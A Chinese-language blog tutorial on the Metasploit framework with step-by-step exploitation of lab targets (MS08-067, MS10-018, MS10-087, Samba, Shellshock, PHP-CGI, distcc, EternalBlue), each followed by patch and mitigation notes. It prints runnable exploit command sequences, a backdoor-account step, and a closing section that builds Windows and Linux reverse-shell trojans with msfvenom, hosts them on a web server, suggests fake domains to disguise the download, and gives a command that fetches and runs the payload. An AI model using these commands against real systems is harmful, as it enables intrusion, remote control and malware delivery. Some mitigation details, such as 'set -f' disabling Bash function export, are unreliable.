[漏洞利用]MSF框架使用

1、框架目錄結構

MSF框架在kali機的/usr/share/metasploit-framework/目錄:

  • Modules:用戶用到的各種模塊幾乎都在這里,用戶使用use這個msf這里時,就是用到了這個目
    錄下的模塊。
  • Data:不需要關注。
  • Plugins:這里的模塊用戶需要使用load 來加載,提供數(shù)據(jù)庫連接插件,和各種要用到的插件。
  • Scripts:這個目錄下的文件大都是Meterpreter這個模塊利用的腳本。
  • Tools:包含一些有用的腳本和零散的工具。

了解即可。


2、MSF基本命令

使用msfconsole打開使用框架,有msf6 >就進入了

幫助

? [你需要了解的命令]
[你需要了解的命令] -h

search

搜索一些模塊,比如你信息搜集到了目標機的型號版本,有對應的漏洞就search一下,看有沒有可以利用的模塊:

search ms17_010
永恒之藍

use

使用模塊,搜到了對應模塊,復制名字使用它:

use exploit/windows/smb/ms17_010_eternalblue

show options

查看使用模塊要配置的參數(shù)


back

從環(huán)境返回:


connect

連接一個主機,比如:

connect www.baidu.com 80

info

顯示一個或多個模塊的信息:

info exploit/windows/smb/ms17_010_eternalblue

jobs

顯示和管理作業(yè)(和windows任務管理器的進程作用一樣):


sessions

顯示任務,-i 選擇對應任務序號進入

sessions
sessions -i [對應序號]

quit/exit

退出msf


3、MSF滲透測試

網絡服務器攻擊滲透(MS08-067)

靶機:WinXPenSP3

命令匯總

假設我們信息搜集到目標機有這個漏洞。

msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST [目標機IP]
run
shell
net user
net user test test /add
net user
net user test /del

操作實現(xiàn)

use的時候可能會失敗,多試幾次。


獲取shell后可以進行命令行操作了。


漏洞原理

詳細原理參見MS08-067漏洞原理及詳盡分析過程-來自FreeBuf.COM

a.漏洞利用條件與影響

  • 影響系統(tǒng):Windows 2000、XP、Server 2003等早期版本的系統(tǒng),未安裝2008年10月發(fā)布的補丁(KB958644)。查看Windows安裝的補丁使用systeminfo命令。
  • 利用限制:默認配置下,Windows XP的防火墻會阻止外部RPC連接,但若啟用文件共享或禁用防火墻則漏洞可被遠程利用。Windows Vista及更高版本需通過身份驗證。

b.防御措施

  • 補丁修復:安裝微軟官方補丁KB958644是根本解決方案。
  • 網絡配置:關閉445端口、啟用防火墻限制SMB服務的外部訪問。
  • 流量監(jiān)控:檢測包含惡意路徑的SMB流量,例如使用正則表達式匹配異常路徑模式。

瀏覽器攻擊滲透(MS10-018)

靶機:WinXPenSP3

命令匯總

msfconsole
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST [kali自己的ip]
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j
#等待靶機訪問網址
jobs
sessions
sessions -i [對應序號]
shell

操作實現(xiàn)

kali執(zhí)行后會生成一個網址 http://192.168.49.128:8080/Uh3ioGYIMwxK (不固定),使用靶機IE訪問,訪問成功后,使用命令就能得到shell:

漏洞原理

詳見瀏覽器攻擊滲透(MS10-018)-CSDN博客

a.漏洞利用鏈

  • 觸發(fā)組件:IE 6/7/8版本中集成的Tabular Data Control(TDC)ActiveX控件,用于處理表格數(shù)據(jù)加載(如CSV文件)。
  • 初始階段:用戶訪問惡意網頁或點擊釣魚鏈接,觸發(fā)IE加載包含惡意TDC腳本的HTML頁面。
  • 內存布局操控:通過JavaScript動態(tài)分配內存,精確布置Shellcode地址。
  • 控制流劫持:利用內存損壞覆蓋虛函數(shù)表(vtable)或返回地址,跳轉至攻擊者預設的指令(如JMP ESP 指令)。

b.防御措施

1.官方補丁修復

  • 補丁編號:微軟通過安全公告MS10-018發(fā)布修復補?。↘B980182),更新TDC控件的內存處理邏輯。
  • 補丁驗證:安裝后,攻擊嘗試會因內存保護機制失效而無法觸發(fā)Shellcode。

2.臨時緩解方案

  • 禁用ActiveX控件:通過IE安全設置禁用TDC控件(CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83)
  • 啟用DEP/ASLR:在高級IE設置中強制啟用數(shù)據(jù)執(zhí)行保護和地址空間隨機化。

應用軟件格式滲透 利用word去滲透(MS10-087)

靶機:WinXPenSP3

命令匯總

msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe    #可以寫惡意語句
set FILENAME ceshi.rtf
run

操作實現(xiàn)

運行命令后會生成一個 ceshi.rtf 的文件,給出了路徑,想辦法把它移到靶機上,滲透的話就是用一些社會工程學,然后靶機運行次文件就會執(zhí)行set CMD calc.exe設置好的命令打開計算器。

漏洞原理

詳見MS10_087漏洞學習研究-燃燒少年的心-博客園

a.漏洞影響范圍

  • 操作系統(tǒng):Windows XP SP3、Windows Server 2003、Vista、7。
  • Office版本:Office 2003 SP3、2007 SP2、2010、Mac版Office 2004-2011.

b.防御措施

1.官方補丁修復

  • 補丁編號:KB2423930(MS10-087)修復了mso.dll中的路徑處理邏輯,增加輸入長度校驗并重構棧緩沖區(qū)分配策略。
  • 補丁驗證:使用 Bindiff 對比補丁前后DLL文件,可發(fā)現(xiàn)關鍵函數(shù)(如 Canonicalize PathName)的指令修改。

2.臨時緩解方案

  • 禁用RTF解析:通過組策略禁用Word的RTF文件解析功能(設置路徑:HKCU\Software\Microsoft\Office\...\Word\Security)。
  • 啟用防護機制:強制啟用DEP(Data Execution Prevention)和Office沙箱(Protected View)

利用samba服務漏洞入侵Linux主機(CVE-2017-7494)

靶機:vulhub

命令匯總

#vuehub上使用root執(zhí)行(密碼root1234%)
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
#kali執(zhí)行
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS [ubuntu_ip]
run
id

操作實現(xiàn)

vulhub操作

kali操作

漏洞原理

詳見【漏洞分析】Samba遠程代碼執(zhí)行漏洞(CVE-2017-7494)-漏
SambaCry分析報告

a.漏洞影響范圍

  • 可寫共享目錄:攻擊者需具備對Samba共享目錄的寫入權限(如匿名訪問或弱口令賬戶)。
  • Samba版本范圍:影響Samba 3.5.0至4.6.4/4.5.10/4.4.14之間的所有未修補版本。

b.防御措施

1.官方補丁修復

  • 升級至Samba 4.6.4/4.5.10/4.4.14或更高版本,修補 is_known_pipename 函數(shù)的路徑驗證邏輯。
  • 驗證方法:使用命令 smbd--version 確認版本,或檢查補丁文件(如lib/pipes.c中的路徑限制代碼)。

2.臨時緩解方案

  • 禁用命名管道支持:在Samba配置文件 smb.conf 的[global]段添加 nt pipe supp ort = no 并重啟服務。
  • 限制共享目錄權限:設置共享目錄為只讀,避免攻擊者上傳惡意文件。

3.網絡語行為防護

  • 防火墻策略:限制外部對445端口的訪問,僅允許可信IP連接。
  • 入侵檢測規(guī)則:監(jiān)控SMB流量中的異常路徑請求(如包含/符號的管道名稱)。
  • 權限最小化:以非root用戶運行Samba服務,降低漏洞利用后的危害。

Bash Shellshock(破殼CVE-2014-6271)

靶機:vulhub

命令匯總

#vulhub上使用root執(zhí)行
docker-compose down
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
#訪問http://[vulhub_ip]:8080/victim.cgi成功即可
 
#kali執(zhí)行
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS [vulhub_ip]
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id

操作實現(xiàn)

vulhub操作

訪問url成功

kali成功拿到shell

漏洞原理

詳見CVE-2014-6271(shellshock破殼漏洞)-toby123-博客園,ShellShock漏洞原理分析-阿里云開發(fā)者社區(qū)

a.漏洞影響范圍

  • 操作系統(tǒng):所有使用Bash 1.14至4.3版本的Linux/Unix系統(tǒng),包括Red Hat、Centos、Ubuntu、Debian、Fedora、Mac OS × 10.10等。
  • 容器與IoT設備:Docker鏡像、嵌入式Linux設備(如路由器)因長期未更新Bash版本成為重災區(qū)。

b.防御措施

1.官方補丁修復

  • 補丁機制:通過修改 parse_and_execute 函數(shù),增加 SEVAL_FUNCDEF 和 SEVAL_ON ECMD 標志,限制環(huán)境變量僅能包含單一函數(shù)定義,禁止附加額外命令。
  • 驗證方法:
bash --version # 確認版本≥4.3-013
env x='() { :;}; echo Vulnerable' bash -c "echo test" # 輸出應為"test"而非"Vulnerable"

2.臨時緩解方案

  • 禁用Bash函數(shù)導出:
set -f #禁用函數(shù)導出(需修改系統(tǒng)啟動腳本)
配置Web服務器過濾規(guī)則:
  Apache:使用 mod_security 模塊攔截包含 () { 的HTTP頭。
  Nginx:正則匹配并拒絕惡意請求。

3.縱深防御體系

  • 權限隔離:以非特權用戶運行Web服務(如[www-data](https://www-data)),限制Bash執(zhí)行權限。
  • 入侵檢測(IDS):監(jiān)控網絡流量中的異常環(huán)境變量模式(如() {字符串)。
  • 容器安全:使用Alpine Linux等不依賴Bash的輕量級基礎鏡像。

PHP CGI漏洞利用(CVE-2012-1823)

靶機:vulhub

命令匯總

#vuehub上使用root執(zhí)行
docker-compose down
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose build
docker-compose up -d
docker-compose config
#環(huán)境啟動后,訪問 http://[vulhub_ip]:8080/ 可見“Hello”字樣。
#訪問 http://[vulhub_ip]:8080/index.php?-s 即爆出源碼,說明漏洞存在。
 
#kali執(zhí)行
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS [vulhub_ip]
set RPORT 8080
run
shell
id

操作實現(xiàn)

vulhub上操作后瀏覽器訪問鏈接爆出源碼,漏洞存在。



kali獲取shell

漏洞原理

詳見PHP-CGI遠程代碼執(zhí)行漏洞(CVE-2012-1823)-AllFalls-博客園,CVE-2024-4577 分析與復現(xiàn)

a.漏洞影響范圍

  • PHP版本:5.0.0<PHP<5.3.11,5.4.0<PHP<5.4.1
  • 操作系統(tǒng):所有使用PHP-CGI的Linux/Unix及Windows系統(tǒng)(如XAMPP環(huán)境)。

b.防御措施

1.官方補丁修復

  • 修復版本:PHP 5.3.12、5.4.2及更高版本。
  • 補丁機制:在 main() 函數(shù)中增加參數(shù)過濾邏輯,禁止將查詢字符串解析為命令行參數(shù)。

2.臨時緩解方案

  • 禁用PHP-CGI模式:改用FastCGI(PHP-FPM)或模塊化集成模式(如mod_php)。
  • 配置Web服務器過濾規(guī)則:
    Apache:使用 mod_rewrite 攔截包含-d-s 等參數(shù)的請求。
    Nginx:通過正則表達式匹配并拒絕異常查詢字符串。
  • 權限隔離:以非特權用戶(如[www-data](https://www-data))運行PHP進程,限制命令執(zhí)行能力。

3.入侵檢測與監(jiān)控

  • 日志分析:監(jiān)控訪問日志中異常的?-d?-s模式。
  • 行為檢測:識別PHP進程執(zhí)行系統(tǒng)命令(如 system()、exec())的異常行為。

Distcc后門漏洞(CVE-2004-2678)

靶場:Metasploitable2-Linux 用戶名/密碼 msfadmin/msfadmin

distcc是谷歌開源的一個編譯器,將編譯任務分解成多個子任務

命令匯總

use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost [ms_ip]
set lhost [kali_ip]
exploit (run也可以)
id

操作實現(xiàn)

打開ms靶機,kali機設置好就可以拿到shell了:


漏洞原理

Distcc的核心作用:Distcc是一種用于分布式編譯的開源工具,允許將大型代碼項目(如Linux內核)的編譯任務分割到多臺服務器并行處理,從而加速構建過程。其默認監(jiān)聽端口為3632,客戶端通過TCP協(xié)議與服務器通信,發(fā)送編譯指令(如gcc命令)和代碼片段。
漏洞核心原理:配置缺陷與命令注入

  • 配置不嚴格的安全邊界
    默認開放訪問:早期Distcc版本(如2.x)在默認配置中未對客戶端IP進行限制,允許任意主機連接至3632端口。
    命令執(zhí)行權限:distccd服務以高權限用戶(如root)運行,編譯過程中可執(zhí)行系統(tǒng)命令(如調用 gcc、make)。
  • 惡意編譯指令注入
    攻擊者可構造包含Shell命令的編譯請求,利用Distcc對客戶端指令的信任機制,繞過輸入驗證直接執(zhí)行。例如:
distccd --job-args "malicious_command"

服務端解析指令時,未對--job-args參數(shù)進行過濾,導致命令注入。

  • 漏洞觸發(fā)場景
    直接連接:攻擊者通過 nc或自定義腳本連接至目標3632端口,發(fā)送惡意編譯指令。
    反射攻擊:在復雜網絡環(huán)境中,攻擊者可利用中間服務器轉發(fā)惡意請求,規(guī)避IP黑名單限制。

a.漏洞影響范圍

  • Distcc版本:2.x系列(如2.1、2.2)及集成了Distcc的Xcode 1.5版本。
  • 操作系統(tǒng):Linux、Unix及macOS系統(tǒng)(依賴Distcc的編譯環(huán)境)。

b.防御措施

1.官方補丁修復

  • 升級至Distcc 3.0及以上版本,修復默認配置的開放訪問問題。
  • 驗證命令:distccd --version,確認版本號>3.0。

2.網絡與配置加固

  • 訪問控制:在 distccd 配置文件中限制允許連接的客戶端IP(如--allow 192.168.1.0/24)。
  • 權限降級:以非特權用戶(如distcc)運行服務,限制命令執(zhí)行能力。
  • 防火墻策略:關閉非必要的3632端口,或限制其僅在內網開放。
    3.入侵檢測與響應
  • 流量監(jiān)控:分析3632端口的通信數(shù)據(jù),檢測異常編譯指令(如包含/bin/shcurl)。
  • 日志審計:定期檢查/var/log/distccd.log中的編譯請求來源和參數(shù)。

Metasploit永恒之藍(ms17_010)

靶機:有漏洞的Windows7

命令匯總

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts [win_ip]
set LHOST 0.0.0.0
set payload windows/x64/shell/bind_tcp
run
ls
run vnc
shell

操作實現(xiàn)

在kali機上操作了命令之后就能使用Windows的命令行了


使用run vnc命令可以監(jiān)控設備屏幕:

獲取的是system權限

漏洞原理

詳見MS17-010 漏洞研究--免考課題 20155104 趙文昊-囚月-博客園

a.漏洞影響范圍

  • Windows客戶端:XP、Vista、7、8、10(2017年3月前版本)。
  • Windows服務器:2003、2008、2008 R2、2012(未安裝KB4013389補?。?。

b.防御措施

1.官方補丁修復

  • 安裝微軟官方補丁KB4013389(MS17-010),重構SMB協(xié)議的內存處理邏輯。
  • 驗證命令:Get-Hotfix -Id KB4013389 #檢查補丁安裝狀態(tài)

2.網絡層防護

  • 關閉SMBv1協(xié)議:Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
  • 防火墻策略:阻斷入站445端口的非必要訪問(企業(yè)內網需保留時啟用IP白名單)。
    3..縱深防御體系
  • 啟用SMB簽名:強制所有SMB通信使用數(shù)字簽名,防止中間人攻擊。
  • 應用控制策略:通過組策略限制未知進程的內核操作權限。
  • 內存保護技術:啟用HVCI(基于虛擬化的安全)和CFG(控制流防護)。

Metasploit病毒制作控制電腦

Windows攻擊流程

1.kali機操作

在kali機打開msf:msfconsole

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=8888 -f exe > payload.exe
  -p:有效載荷
  LHOST:kali_ip
  LPORT:監(jiān)聽端口(不要與已使用端口重復)
  -f:生成木馬類型
  >:保存文件名(生成文件在家目錄下)

命令可通過網頁反彈shell生成。


放置木馬至網站根目錄:

啟動apache服務:

service apache2 start

通過ip地址訪問網站:



則木馬下載路徑為192.168.49.128/payload.exe(可以注冊一些假域名裝扮頁面)



攻擊機開啟監(jiān)聽:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp(載荷要與生成木馬的相同)
set lhost [kali_ip](192.168.49.128,與木馬相同)
set lport 制造木馬對應的監(jiān)聽端口(8888,與木馬相同)

2.Windows靶機受控

win運行下載的木馬


獲取shell權限:shell,亂碼使用chcp 65001臨時消除:


Linux攻擊流程

1.kali機操作

生成木馬:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.49.128 LPORT=9999 -f elf -o shell.elf
    -p:有效載荷
    LHOST:kali_ip
    LPORT:監(jiān)聽端口(不要與已使用端口重復)
    -f:生成木馬類型
    -o:保存文件名(生成文件在家目錄下)

同樣放置木馬至網站根目錄,然后kali開啟監(jiān)聽:

mv /home/kali/shell.elf /var/www/html/shell.elf
service apache2 start

use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set lhost 192.168.49.128(kali_ip)
set lport 9999(監(jiān)聽端口)
run

2.Linux靶機受控

下載文件并運行,命令可通過網頁文件下載生成,無端口不要寫端口號

wget http://192.168.49.128:/shell.elf -O ~/shell.elf
sudo chmod 755 shell.elf
./shell.elf
這樣木馬就運行了

kali端上線

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容